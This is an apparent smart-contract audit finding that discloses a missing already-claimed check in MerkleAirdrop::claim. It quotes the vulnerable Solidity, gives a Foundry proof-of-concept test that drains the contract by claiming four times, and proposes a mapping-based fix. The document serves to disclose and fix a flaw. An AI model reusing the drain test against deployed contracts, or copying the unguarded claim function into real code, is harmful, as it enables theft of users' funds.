Summary
User can steal all the funds because MerkleAidrop::claim
is vulnarable
Vulnerability Details
One of the four lucky addresses which will be aidropped usdc tokens can call MerkleAidrop::claim
as many times as they wish untill there are funds in the contract.
The MerkleProof in MerkleAidrop::claim
checks if the account is eligible for that amount, but it doesn't check if the account has already claimed their reward.
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
As can be seen in the test, the user can steal all the funds from the contract:
Paste this in MerkleAirdropTest.t.sol
and run forge test --match-test testUserCanStealAllTheFunds -vvv
function testUserCanStealAllTheFunds() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, 4 * airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToSend);
}
Impact
The user can steal all the funds from the contract.
Tools Used
Unit Tests
Manual Review
Recommendations
+ mapping(address => bool) addressHasClaimed;
+ error MerkleAirdrop_AlreadyClaimed();
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (addressHasClaimed[account]) {
+ revert MerkleAirdrop_AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ addressHasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}